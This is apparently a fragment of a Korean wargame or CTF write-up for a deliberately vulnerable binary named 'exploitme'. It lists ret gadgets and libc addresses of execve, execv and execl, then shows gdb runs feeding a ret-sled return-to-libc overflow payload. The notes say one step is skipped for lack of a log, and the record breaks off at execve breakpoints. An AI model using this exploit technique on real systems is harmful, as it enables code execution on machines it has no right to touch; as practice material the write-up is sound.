[warmup100@padocon ~]$ objdump -d exploitme | grep ret
80482c3: c3 ret
8048395: c3 ret
80483c3: c3 ret
80483e7: c3 ret
80483f4: c3 ret
8048459: c3 ret
804845d: c3 ret
804848a: c3 ret
80484a7: c3 ret
***************************
execve = 00850040
execv = 008501a0
execl = 00850330
**************************
일단 execv를 이용하기로 하고.....
gdb를 실행하고
(gdb) r AAAABBBB`printf "\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xa0\x01\x85"`
다음 execv랑 execve에 브포를 걸고..
execv함수에 쓰이는 인자값 위치를 찾아야 하는데 요건 로그가 없어서 패스;; tril100참조하세요.
일단 찾은 주소는
[tril100@cnuhansa nv]$ objdump -d nve | grep ret
80482c3: c3 ret
8048395: c3 ret
80483c3: c3 ret
80483e7: c3 ret
80483f4: c3 ret
8048459: c3 ret
804845d: c3 ret
804848a: c3 ret
80484a7: c3 ret
(gdb) r AAAABBBB`printf "\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xe7\x83\x04\x08\xa0\xc1\x1a"`
(gdb) c
Continuing.
Breakpoint 2, 0x001ac040 in execve () from /lib/libc.so.6
(gdb) c
Continuing.
Breakpoint 8, 0x001ac05d in execve () from /lib/libc.so.6